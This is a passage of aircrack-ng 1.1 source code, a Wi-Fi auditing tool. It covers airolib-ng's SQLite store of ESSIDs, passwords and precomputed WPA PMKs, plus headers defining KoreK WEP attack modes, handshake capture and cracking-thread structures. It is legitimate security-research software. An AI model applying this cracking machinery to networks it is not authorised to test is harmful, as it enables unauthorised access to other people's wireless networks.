whole file if wordlength < 8 if (wordlength > 0 && wordlength < (int) sizeof(passwd)) { passwd[wordlength] = 0; rc += fread(passwd, wordlength, 1, f); if (rc == 2) rc += fread(&rec.pmk, sizeof(rec.pmk), 1, f); } if (rc != 3) { fprintf(stdout,"Error while reading record (%i).\n",rc); sqlite3_finalize(stmt); if (db == NULL) { printf("omg"); fflush(stdout); } sql_exec(db, "ROLLBACK;"); fclose(f); return 1; } if (verify_passwd(passwd) == 0) { sqlite3_bind_text(stmt,1,passwd, strlen(passwd),SQLITE_TRANSIENT); sqlite3_bind_blob(stmt,2,&rec.pmk, sizeof(rec.pmk),SQLITE_TRANSIENT); if (sql_step(stmt,-1) == SQLITE_DONE) { sqlite3_reset(stmt); } else { printf("Error while inserting record into database.\n"); sqlite3_finalize(stmt); sql_exec(db, "ROLLBACK;"); fclose(f); return 1; } } else { fprintf(stdout,"Invalid password %s will not be imported.\n",passwd); } } sqlite3_finalize(stmt); if (!feof(f)) { printf("Error while reading file.\n"); sql_exec(db,"ROLLBACK;"); fclose(f); return 1; } printf("Updating references...\n"); sql_exec(db, "INSERT OR IGNORE INTO passwd (passwd) SELECT passwd FROM import;"); //TODO Give the user a choice to either INSERT OR UPDATE or INSERT OR IGNORE printf("Writing...\n"); sql = sqlite3_mprintf("INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) SELECT %i,passwd.passwd_id,import.pmk FROM import INNER JOIN passwd ON passwd.passwd = import.passwd;",essid_id); sql_exec(db,sql); sqlite3_free(sql); sql_exec(db,"COMMIT;"); fclose(f); return 1; } int import_ascii(sqlite3* db, const char* mode, const char* filename) { FILE *f = NULL; sqlite3_stmt *stmt; char buffer[63+1]; int imported=0; int ignored=0; int imode=0; if (strcasecmp(mode,IMPORT_ESSID) == 0) { imode = 0; } else if (strcasecmp(mode,IMPORT_PASSWD) == 0) { imode = 1; } else { printf("Specify either 'essid' or 'passwd' as import mode.\n"); return 0; } if (strcmp(filename,"-") == 0) { f = stdin; } else { f = fopen(filename, "r"); } if (f == NULL) { printf("Could not open file/stream for reading.\n"); return 0; } char* sql = sqlite3_mprintf("INSERT OR IGNORE INTO %q (%q) VALUES (@v);",mode,mode); sql_prepare(db,sql,&stmt,-1); sqlite3_free(sql); sql_exec(db, "BEGIN;"); printf("Reading file...\n"); while (fgets(buffer, sizeof(buffer), f) != 0) { int i = strlen(buffer); if (buffer[i-1] == '\n') buffer[--i] = '\0'; if (buffer[i-1] == '\r') buffer[--i] = '\0'; imported++; if ((imode == 0 && verify_essid(buffer)==0) || (imode == 1 && verify_passwd(buffer)==0)) { sqlite3_bind_text(stmt,1,buffer, strlen(buffer),SQLITE_TRANSIENT); if (sql_step(stmt,-1) == SQLITE_DONE) { sqlite3_reset(stmt); } else { printf("Error while inserting record into database.\n"); sql_exec(db, "ROLLBACK;"); sqlite3_finalize(stmt); fclose(f); return 1; } } else { ignored++; } if (imported % 1000 == 0) { fprintf(stdout,"%i lines read, %i invalid lines ignored.\r",imported,ignored); fflush(stdout); } } sqlite3_finalize(stmt); if (!feof(f)) { printf("Error while reading file.\n"); sql_exec(db,"ROLLBACK;"); fclose(f); return 1; } fclose(f); printf("Writing...\n"); sql_exec(db,"COMMIT;"); printf("Done.\n"); return 1; } // sql function. takes ESSID and PASSWD, gives PMK void sql_calcpmk(sqlite3_context* context, int argc, sqlite3_value** values) { unsigned char pmk[40]; char* passwd = (char*)sqlite3_value_blob(values[1]); char* essid = (char*)sqlite3_value_blob(values[0]); if (argc < 2 || passwd == 0 || essid == 0) { sqlite3_result_error(context, "SQL function PMK() called with invalid arguments.\n", -1); return; } calc_pmk(passwd,essid,pmk); sqlite3_result_blob(context,pmk,32,SQLITE_TRANSIENT); } #ifdef HAVE_REGEXP void sqlite_regexp(sqlite3_context* context, int argc, sqlite3_value** values) { int ret; regex_t regex; char* reg = (char*)sqlite3_value_text(values[0]); char* text = (char*)sqlite3_value_text(values[1]); if ( argc != 2 || reg == 0 || text == 0) { sqlite3_result_error(context, "SQL function regexp() called with invalid arguments.\n", -1); return; } ret = regcomp(®ex, reg, REG_EXTENDED | REG_NOSUB); if ( ret != 0 ) { sqlite3_result_error(context, "error compiling regular expression", -1); return; } ret = regexec(®ex, text , 0, NULL, 0); regfree(®ex); sqlite3_result_int(context, (ret != REG_NOMATCH)); } #endif int initDataBase(const char * filename, sqlite3 ** db) { //int rc = sqlite3_open_v2(filename, &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, NULL); int rc = sqlite3_open(filename, &(*db)); if (rc != SQLITE_OK) { sql_error(*db); sqlite3_close(*db); // May be usefull later return rc; } sql_exec(*db, "create table essid (essid_id integer primary key autoincrement, essid text, prio integer default 64);"); sql_exec(*db, "create table passwd (passwd_id integer primary key autoincrement, passwd text);"); sql_exec(*db, "create table pmk (pmk_id integer primary key autoincrement, passwd_id int, essid_id int, pmk blob);"); sql_exec(*db, "create table workbench (wb_id integer primary key autoincrement, essid_id integer, passwd_id integer, lockid integer default 0);"); sql_exec(*db, "create index lock_lockid on workbench (lockid);"); sql_exec(*db, "create index pmk_pw on pmk (passwd_id);"); sql_exec(*db, "create unique index essid_u on essid (essid);"); sql_exec(*db, "create unique index passwd_u on passwd (passwd);"); sql_exec(*db, "create unique index ep_u on pmk (essid_id,passwd_id);"); sql_exec(*db, "create unique index wb_u on workbench (essid_id,passwd_id);"); sql_exec(*db, "CREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM workbench WHERE workbench.essid_id = OLD.essid_id; END;"); sql_exec(*db, "CREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM workbench WHERE workbench.passwd_id = OLD.passwd_id; END;"); #ifdef SQL_DEBUG sql_exec(*db, "begin;"); sql_exec(*db, "insert into essid (essid,prio) values ('e',random())"); sql_exec(*db, "insert into passwd (passwd) values ('p')"); sql_exec(*db, "insert into essid (essid,prio) select essid||'a',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'b',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'c',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'d',random() from essid;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'a' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'b' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'c' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'d' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'e' from passwd;"); sql_exec(*db, "insert into pmk (essid_id,passwd_id) select essid_id,passwd_id from essid,passwd limit 1000000;"); sql_exec(*db,"commit;"); #endif sqlite3_close(*db); printf("Database <%s> successfully created\n", filename); return 0; } int check_for_db(sqlite3 ** db, const char * filename, int can_create, int readonly) { struct stat dbfile; int rc; int accessflags = R_OK | W_OK; if (readonly) accessflags = R_OK; // Check if DB exist. If it does not, initialize it if (access(filename, accessflags)) { printf("Database <%s> does not already exist, ", filename); if (can_create) { printf("creating it...\n"); rc = initDataBase(filename, db); if (rc) { printf("Error initializing database (return code: %d), exiting...\n", rc); return 1; } } else { printf("exiting ...\n"); return 1; } } else { if (stat(filename, &dbfile)) { perror("stat()"); return 1; } if ((S_ISREG(dbfile.st_mode) && !S_ISDIR(dbfile.st_mode)) == 0) { printf("\"%s\" does not appear to be a file.\n", filename); return 1; } } rc = sqlite3_open(filename, &(*db)); if(rc) { sql_error(*db); sqlite3_close(*db); return 1; } // TODO: Sanity check: Table definitions, index // register new functions to be used in SQL statements if (sqlite3_create_function(*db, "PMK", 2, SQLITE_ANY, 0, &sql_calcpmk,0,0) != SQLITE_OK) { printf("Failed creating PMK function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } if (sqlite3_create_function(*db, "VERIFY_ESSID", 1, SQLITE_ANY, 0, &sql_verify_essid,0,0) != SQLITE_OK) { printf("Failed creating VERIFY_ESSID function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } if (sqlite3_create_function(*db, "VERIFY_PASSWD", 1, SQLITE_ANY, 0, &sql_verify_passwd,0,0) != SQLITE_OK) { printf("Failed creating VERIFY_PASSWD function.\n"); sql_error(*db); sqlite3_close(*db); return 1; } #ifdef HAVE_REGEXP if (sqlite3_create_function(*db, "regexp", 2, SQLITE_ANY,0, &sqlite_regexp,0,0) != SQLITE_OK) { printf("Failed creating regexp() handler.\n"); sql_error(*db); sqlite3_close(*db); return 1; } #endif return 0; } int main(int argc, char **argv) { sqlite3 *db; int option_index, option; if( argc < 3 ){ print_help(NULL); return 1; } db = NULL; option_index = 0; static struct option long_options[] = { {"batch", 0, 0, 'b'}, {"clean", 2, 0, 'c'}, {"export", 2, 0, 'e'}, {"h", 0, 0, 'h'}, {"help", 0, 0, 'h'}, {"import", 2, 0, 'i'}, {"sql", 1, 0, 's'}, {"stats", 2, 0, 't'}, {"statistics", 2, 0, 't'}, {"verify", 2, 0, 'v'}, {"vacuum", 2, 0, 'c'}, // TODO: implement options like '-e essid' to limit // operations to a certain essid where possible {"essid", 1, 0, 'd'}, {0, 0, 0, 0 } }; option = getopt_long( argc, argv, "bc:d:e:hi:s:t:v:", long_options, &option_index ); if( option > 0 ) { switch (option) { case 'b': // Batch if ( check_for_db(&db, argv[1], 0, 1) ) { return 1; } batch_process(db); break; case 'c': // Clean if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } vacuum(db, (argc > 3 && strcasecmp(argv[3],"all") == 0) ? 1 : 0); break; case 'e': if (argc < 4) { print_help("You must specify an export format."); } else if (strcmp(argv[3],"cowpatty")==0) { if (argc < 6) { print_help("You must specify essid and output file."); } else { // Export if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } export_cowpatty(db,argv[4],argv[5]); } } else { print_help("Invalid export format specified."); } break; case ':' : case '?' : case 'h': // Show help print_help(NULL); break; case 'i': // Import if (argc < 5) { print_help("You must specifiy an import format and a file."); } else if (strcasecmp(argv[3], IMPORT_COWPATTY) == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_cowpatty(db,argv[4]); } else if (strcasecmp(argv[3], IMPORT_ESSID) == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_ascii(db, IMPORT_ESSID,argv[4]); } else if (strcasecmp(argv[3], IMPORT_PASSWD) == 0 || strcasecmp(argv[3],"password") == 0) { if ( check_for_db(&db, argv[1], 1, 0) ) { return 1; } import_ascii(db,IMPORT_PASSWD, argv[4]); } else { print_help("Invalid import format specified."); return 1; } break; case 's': // SQL // We don't know if the SQL order is changing the file or not if ( check_for_db(&db, argv[1], 0, 0) ) { return 1; } sql_stdout(db, argv[3], 0); break; case 't': // Stats if ( check_for_db(&db, argv[1], 0, 1) ) { return 1; } show_stats(db, (argv[3] == NULL) ? 0 : 1); break; case 'v': // Verify if ( check_for_db(&db, argv[1], 0, (argc > 3 && strcasecmp(argv[3],"all")==0) ? 0 : 1) ) { return 1; } verify(db, (argc > 3 && strcasecmp(argv[3],"all")==0) ? 1 : 0); break; default: print_help("Invalid option"); break; } } else { print_help(NULL); } if (db) sqlite3_close(db); return 0; } aircrack-ng-1.1/src/aircrack-ng.h0000644000000000000000000001656111215026345015363 0ustar rootroot#ifndef _AIRCRACK_NG_H #define _AIRCRACK_NG_H #include #include #include "aircrack-ptw-lib.h" #define SUCCESS 0 #define FAILURE 1 #define RESTART 2 #ifndef O_BINARY #define O_BINARY 0 #endif #define MAX_DICTS 128 #define ASCII_LOW_T 0x21 #define ASCII_HIGH_T 0x7E #define ASCII_VOTE_STRENGTH_T 150 #define ASCII_DISREGARD_STRENGTH 1 #define TEST_MIN_IVS 4 #define TEST_MAX_IVS 32 #define PTW_TRY_STEP 5000 #define KEYHSBYTES PTW_KEYHSBYTES #define MAX_THREADS 128 #define CLOSE_IT 100000 #define GENPMKMAGIC 0x43575041 struct hashdb_head { uint32_t magic; uint8_t reserved1[3]; uint8_t ssidlen; uint8_t ssid[32]; }; struct hashdb_rec { uint8_t rec_size; char *word; uint8_t pmk[32]; } __attribute__ ((packed)); extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern int readLine(char line[], int maxlength); extern int hexToInt(char s[], int len); extern int hexCharToInt(unsigned char c); #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define KEYLIMIT 1000000 #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; struct options { int amode; /* attack mode */ int essid_set; /* essid set flag */ int bssid_set; /* bssid set flag */ char essid[33]; /* target ESSID */ unsigned char bssid[6]; /* target BSSID */ int nbcpu; /* # of cracker threads (= # of CPU) */ int is_quiet; /* quiet mode flag */ unsigned char debug[64]; /* user-defined WEP key */ int debug_row[64] ; /* user-defined Row WEP key */ unsigned char maddr[6]; /* MAC address filter */ int keylen; /* WEP key length */ int index; /* WEP key index */ float ffact; /* bruteforce factor */ int korek; /* attack strategy */ int is_fritz; /* use numeric keyspace */ int is_alnum; /* alphanum keyspace */ int is_bcdonly; /* binary coded decimal */ int do_brute; /* bruteforce last 2 KB */ int do_mt_brute; /* bruteforce last 2 KB multithreaded for SMP*/ int do_testy; /* experimental attack */ int do_ptw; /* PTW WEP attack */ char *dicts[MAX_DICTS]; /* dictionary files */ FILE *dict; /* dictionary file */ int nbdict; /* current dict number */ int no_stdin; /* if dict == stdin */ int hexdict[MAX_DICTS]; /* if dict in hex */ int showASCII; /* Show ASCII version of*/ /* the wepkey */ int l33t; /* no comment */ int stdin_dict; int probability; /* %of correct answers */ int votes[N_ATTACKS]; /* votes for korek attacks */ int brutebytes[64]; /* bytes to bruteforce */ int next_ptw_try; int max_ivs; char *bssidmerge; unsigned char *firstbssid; struct mergeBSSID * bssid_list_1st; struct AP_info *ap; int wep_decloak; int ptw_attack; int visual_inspection; /* Enabling/disabling visual */ /* inspection of the different */ /* keybytes */ int oneshot; /* Do PTW once */ char * logKeyToFile; } opt; typedef struct { int idx, val; } vote; struct WEP_data { unsigned char key[64]; /* the current chosen WEP key */ unsigned char *ivbuf; /* buffer holding all the IVs */ int nb_aps; /* number of targeted APs */ long nb_ivs; /* # of unique IVs in buffer */ long nb_ivs_now; /* # of unique IVs available */ int fudge[64]; /* bruteforce level (1 to 256) */ int depth[64]; /* how deep we are in the fudge */ vote poll[64][256]; /* KoreK cryptanalysis results */ } wep; struct WPA_hdsk { unsigned char stmac[6]; /* supplicant MAC */ unsigned char snonce[32]; /* supplicant nonce */ unsigned char anonce[32]; /* authenticator nonce */ unsigned char keymic[16]; /* eapol frame MIC */ unsigned char eapol[256]; /* eapol frame contents */ int eapol_size; /* eapol frame size */ int keyver; /* key version (TKIP / AES) */ int state; /* handshake completion */ }; struct AP_info { struct AP_info *next; /* next AP in linked list */ unsigned char bssid[6]; /* access point MAC address */ char essid[33]; /* access point identifier */ unsigned char lanip[4]; /* IP address if unencrypted */ unsigned char *ivbuf; /* table holding WEP IV data */ unsigned char **uiv_root; /* IV uniqueness root struct */ long ivbuf_size; /* IV buffer allocated size */ long nb_ivs; /* total number of unique IVs */ long nb_ivs_clean; /* total number of unique IVs */ long nb_ivs_vague; /* total number of unique IVs */ int crypt; /* encryption algorithm */ int eapol; /* set if EAPOL is present */ int target; /* flag set if AP is a target */ struct ST_info *st_1st; /* linked list of stations */ struct WPA_hdsk wpa; /* valid WPA handshake data */ PTW_attackstate *ptw_clean; PTW_attackstate *ptw_vague; }; struct ST_info { struct AP_info *ap; /* parent AP */ struct ST_info *next; /* next supplicant */ struct WPA_hdsk wpa; /* WPA handshake data */ unsigned char stmac[6]; /* client MAC address */ }; struct mergeBSSID { unsigned char bssid [6]; /* BSSID */ char unused[2]; /* Alignment */ int convert; /* Does this BSSID has to */ /* be converted */ struct mergeBSSID * next; }; struct WPA_data { struct AP_info* ap; /* AP information */ int thread; /* number of this thread */ int nkeys; /* buffer capacity */ char *key_buffer; /* queue as a circular buffer for feeding and consuming keys */ int front; /* front marker for the circular buffers */ int back; /* back marker for the circular buffers */ char key[128]; /* cracked key (0 while not found) */ pthread_cond_t cond; /* condition for waiting when buffer is full until keys are tried and new keys can be written */ pthread_mutex_t mutex; }; void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod ); #endif /* _AIRCRACK_NG_H */ aircrack-ng-1.1/src/airodump-ng.h0000644000000000000000000003543411322740667015435 0ustar rootroot#ifndef _AIRODUMP_NG_H_ #define _AIRODUMP_NG_H_ /* some constants */ #define MAX_IE_ELEMENT_SIZE 256 #define REFRESH_RATE 100000 /* default delay in us between updates */ #define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */ #define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */ #define NB_PWR 5 /* size of signal power ring buffer */ #define NB_PRB 10 /* size of probed ESSID ring buffer */ #define MAX_CARDS 8 /* maximum number of cards to capture from */ #define STD_OPN 0x0001 #define STD_WEP 0x0002 #define STD_WPA 0x0004 #define STD_WPA2 0x0008 #define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2) #define ENC_WEP 0x0010 #define ENC_TKIP 0x0020 #define ENC_WRAP 0x0040 #define ENC_CCMP 0x0080 #define ENC_WEP40 0x1000 #define ENC_WEP104 0x0100 #define ENC_FIELD (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104) #define AUTH_OPN 0x0200 #define AUTH_PSK 0x0400 #define AUTH_MGT 0x0800 #define AUTH_FIELD (AUTH_OPN | AUTH_PSK | AUTH_MGT) #define STD_QOS 0x2000 #define QLT_TIME 5 #define QLT_COUNT 25 #define SORT_BY_NOTHING 0 #define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 5 #define SORT_BY_CHAN 6 #define SORT_BY_MBIT 7 #define SORT_BY_ENC 8 #define SORT_BY_CIPHER 9 #define SORT_BY_AUTH 10 #define SORT_BY_ESSID 11 #define MAX_SORT 11 #define TEXT_RESET 0 #define TEXT_BRIGHT 1 #define TEXT_DIM 2 #define TEXT_UNDERLINE 3 #define TEXT_BLINK 4 #define TEXT_REVERSE 7 #define TEXT_HIDDEN 8 #define TEXT_MAX_STYLE 8 #define TEXT_BLACK 0 #define TEXT_RED 1 #define TEXT_GREEN 2 #define TEXT_YELLOW 3 #define TEXT_BLUE 4 #define TEXT_MAGENTA 5 #define TEXT_CYAN 6 #define TEXT_WHITE 7 #define TEXT_MAX_COLOR 7 #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" //milliseconds to store last packets #define BUFFER_TIME 3000 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int get_ram_size(void); char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2); #define AIRODUMP_NG_CSV_EXT "csv" #define KISMET_CSV_EXT "kismet.csv" #define KISMET_NETXML_EXT "kismet.netxml" #define AIRODUMP_NG_GPS_EXT "gps" #define AIRODUMP_NG_CAP_EXT "cap" #define NB_EXTENSIONS 6 const unsigned char llcnull[4] = {0, 0, 0, 0}; char *f_ext[NB_EXTENSIONS] = { AIRODUMP_NG_CSV_EXT, AIRODUMP_NG_GPS_EXT, AIRODUMP_NG_CAP_EXT, IVS2_EXTENSION, KISMET_CSV_EXT, KISMET_NETXML_EXT }; extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; #define OUI_PATH "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt" #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768 int read_pkts=0; int abg_chans [] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 184, 188, 192, 196, 200, 204, 208, 212, 216,0 }; int bg_chans [] = { 1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0 }; int a_chans [] = { 36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 149, 153, 157, 161, 184, 188, 192, 196, 200, 204, 208, 212, 216,0 }; int *frequencies; /* linked list of received packets for the last few seconds */ struct pkt_buf { struct pkt_buf *next; /* next packet in list */ unsigned char *packet; /* packet */ unsigned short length; /* packet length */ struct timeval ctime; /* capture time */ }; /* oui struct for list management */ struct oui { char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3] (later) with the value (hex ascii will have to be converted) */ char manuf[128]; /* TODO: Switch to a char * later to improve memory usage */ struct oui *next; }; /* linked list of detected access points */ struct AP_info { struct AP_info *prev; /* prev. AP in list */ struct AP_info *next; /* next AP in list */ time_t tinit, tlast; /* first and last time seen */ int channel; /* AP radio channel */ int max_speed; /* AP maximum speed in Mb/s */ int avg_power; /* averaged signal power */ int best_power; /* best signal power */ int power_index; /* index in power ring buf. */ int power_lvl[NB_PWR]; /* signal power ring buffer */ int preamble; /* 0 = long, 1 = short */ int security; /* ENC_*, AUTH_*, STD_* */ int beacon_logged; /* We need 1 beacon per AP */ int dict_started; /* 1 if dict attack started */ int ssid_length; /* length of ssid */ float gps_loc_min[5]; /* min gps coordinates */ float gps_loc_max[5]; /* max gps coordinates */ float gps_loc_best[5]; /* best gps coordinates */ unsigned long nb_bcn; /* total number of beacons */ unsigned long nb_pkt; /* total number of packets */ unsigned long nb_data; /* number of data packets */ unsigned long nb_data_old;/* number of data packets/sec*/ int nb_dataps; /* number of data packets/sec*/ struct timeval tv; /* time for data per second */ unsigned char bssid[6]; /* the access point's MAC */ char *manuf; /* the access point's manufacturer */ unsigned char essid[MAX_IE_ELEMENT_SIZE]; /* ascii network identifier */ unsigned char lanip[4]; /* last detected ip address */ /* if non-encrypted network */ unsigned char **uiv_root; /* unique iv root structure */ /* if wep-encrypted network */ int rx_quality; /* percent of captured beacons */ int fcapt; /* amount of captured frames */ int fmiss; /* amount of missed frames */ unsigned int last_seq; /* last sequence number */ struct timeval ftimef; /* time of first frame */ struct timeval ftimel; /* time of last frame */ struct timeval ftimer; /* time of restart */ char *key; /* if wep-key found by dict */ int essid_stored; /* essid stored in ivs file? */ char decloak_detect; /* run decloak detection? */ struct pkt_buf *packets; /* list of captured packets (last few seconds) */ char is_decloak; /* detected decloak */ // This feature eats 48Mb per AP int EAP_detected; unsigned char *data_root; /* first 2 bytes of data if */ /* WEP network; used for */ /* detecting WEP cloak */ /* + one byte to indicate */ /* (in)existence of the IV */ int marked; int marked_color; }; struct WPA_hdsk { uchar stmac[6]; /* supplicant MAC */ uchar snonce[32]; /* supplicant nonce */ uchar anonce[32]; /* authenticator nonce */ uchar keymic[16]; /* eapol frame MIC */ uchar eapol[256]; /* eapol frame contents */ int eapol_size; /* eapol frame size */ int keyver; /* key version (TKIP / AES) */ int state; /* handshake completion */ }; /* linked list of detected clients */ struct ST_info { struct ST_info *prev; /* the prev client in list */ struct ST_info *next; /* the next client in list */ struct AP_info *base; /* AP this client belongs to */ time_t tinit, tlast; /* first and last time seen */ unsigned long nb_pkt; /* total number of packets */ unsigned char stmac[6]; /* the client's MAC address */ char *manuf; /* the client's manufacturer */ int probe_index; /* probed ESSIDs ring index */ char probes[NB_PRB][MAX_IE_ELEMENT_SIZE]; /* probed ESSIDs ring buffer */ int ssid_length[NB_PRB]; /* ssid lengths ring buffer */ int power; /* last signal power */ int rate_to; /* last bitrate to station */ int rate_from; /* last bitrate from station */ struct timeval ftimer; /* time of restart */ int missed; /* number of missed packets */ unsigned int lastseq; /* last seen sequence number */ struct WPA_hdsk wpa; /* WPA handshake data */ int qos_to_ds; /* does it use 802.11e to ds */ int qos_fr_ds; /* does it receive 802.11e */ }; /* linked list of detected macs through ack, cts or rts frames */ struct NA_info { struct NA_info *prev; /* the prev client in list */ struct NA_info *next; /* the next client in list */ time_t tinit, tlast; /* first and last time seen */ unsigned char namac[6]; /* the stations MAC address */ int power; /* last signal power */ int channel; /* captured on channel */ int ack; /* number of ACK frames */ int ack_old; /* old number of ACK frames */ int ackps; /* number of ACK frames/s */ int cts; /* number of CTS frames */ int rts_r; /* number of RTS frames (rx) */ int rts_t; /* number of RTS frames (tx) */ int other; /* number of other frames */ struct timeval tv; /* time for ack per second */ }; /* bunch of global stuff */ struct globals { struct AP_info *ap_1st, *ap_end; struct ST_info *st_1st, *st_end; struct NA_info *na_1st, *na_end; struct oui *manufList; unsigned char prev_bssid[6]; unsigned char f_bssid[6]; unsigned char f_netmask[6]; char *dump_prefix; char *keyout; char *f_cap_name; int f_index; /* outfiles index */ FILE *f_txt; /* output csv file */ FILE *f_kis; /* output kismet csv file */ FILE *f_kis_xml; /* output kismet netxml file */ FILE *f_gps; /* output gps file */ FILE *f_cap; /* output cap file */ FILE *f_ivs; /* output ivs file */ FILE *f_xor; /* output prga file */ char * batt; /* Battery string */ int channel[MAX_CARDS]; /* current channel # */ int frequency[MAX_CARDS]; /* current frequency # */ int ch_pipe[2]; /* current channel pipe */ int cd_pipe[2]; /* current card pipe */ int gc_pipe[2]; /* gps coordinates pipe */ float gps_loc[5]; /* gps coordinates */ int save_gps; /* keep gps file flag */ int usegpsd; /* do we use GPSd? */ int *channels; // int *frequencies; int singlechan; /* channel hopping set 1*/ int singlefreq; /* frequency hopping: 1 */ int chswitch; /* switching method */ int f_encrypt; /* encryption filter */ int update_s; /* update delay in sec */ int is_wlanng[MAX_CARDS]; /* set if wlan-ng */ int is_orinoco[MAX_CARDS]; /* set if orinoco */ int is_madwifing[MAX_CARDS]; /* set if madwifi-ng */ int is_zd1211rw[MAX_CARDS]; /* set if zd1211rw */ volatile int do_exit; /* interrupt flag */ struct winsize ws; /* console window size */ char * elapsed_time; /* capture time */ int one_beacon; /* Record only 1 beacon?*/ unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \ up to 4096Byte */ time_t sk_start; char *prefix; int sk_len; int sk_len2; int * own_channels; /* custom channel list */ int * own_frequencies; /* custom frequency list */ int record_data; /* do we record data? */ int asso_client; /* only show associated clients */ char * iwpriv; char * iwconfig; char * wlanctlng; char * wl; unsigned char wpa_bssid[6]; /* the wpa handshake bssid */ char message[512]; char decloak; char is_berlin; /* is the switch --berlin set? */ int numaps; /* number of APs on the current list */ int maxnumaps; /* maximum nubers of APs on the list */ int maxaps; /* number of all APs found */ int berlin; /* number of seconds it takes in berlin to fill the whole screen with APs*/ /* * The name for this option may look quite strange, here is the story behind it: * During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit Berlin * and couldn't resist to turn on airodump-ng to see how much access point we can * get during the trip from Finowfurt to Berlin. When we were in Berlin, the number * of AP increase really fast, so fast that it couldn't fit in a screen, even rotated; * the list was really huge (we have a picture of that). The 2 minutes timeout * (if the last packet seen is higher than 2 minutes, the AP isn't shown anymore) * wasn't enough, so we decided to create a new option to change that timeout. * We implemented this option in the highest tower (TV Tower) of Berlin, eating an ice. */ int show_ap; int show_sta; int show_ack; int hide_known; int hopfreq; char* s_file; /* source file to read packets */ char* s_iface; /* source interface to read from */ FILE *f_cap_in; struct pcap_file_header pfh_in; int detect_anomaly; /* Detect WIPS protecting WEP in action */ char *freqstring; int freqoption; int chanoption; int active_scan_sim; /* simulates an active scan, sending probe requests */ /* Airodump-ng start time: for kismet netxml file */ char * airodump_start_time; int output_format_pcap; int output_format_csv; int output_format_kismet_csv; int output_format_kismet_netxml; pthread_t input_tid; int sort_by; int sort_inv; int start_print_ap; int start_print_sta; int selected_ap; int selected_sta; int selection_ap; int selection_sta; int mark_cur_ap; int num_cards; int skip_columns; int do_pause; int do_sort_always; pthread_mutex_t mx_print; /* lock write access to ap LL */ pthread_mutex_t mx_sort; /* lock write access to ap LL */ uchar selected_bssid[6]; /* bssid that is selected */ } G; #endif aircrack-ng-1.1/src/pcap.h0000644000000000000000000000352211321162415014113 0ustar rootroot#ifndef _AIRCRACK_NG_PCAP_H_ #define _AIRCRACK_NG_PCAP_H_ #define FORMAT_CAP 1 #define FORMAT_IVS 2 #define FORMAT_IVS2 3 #define 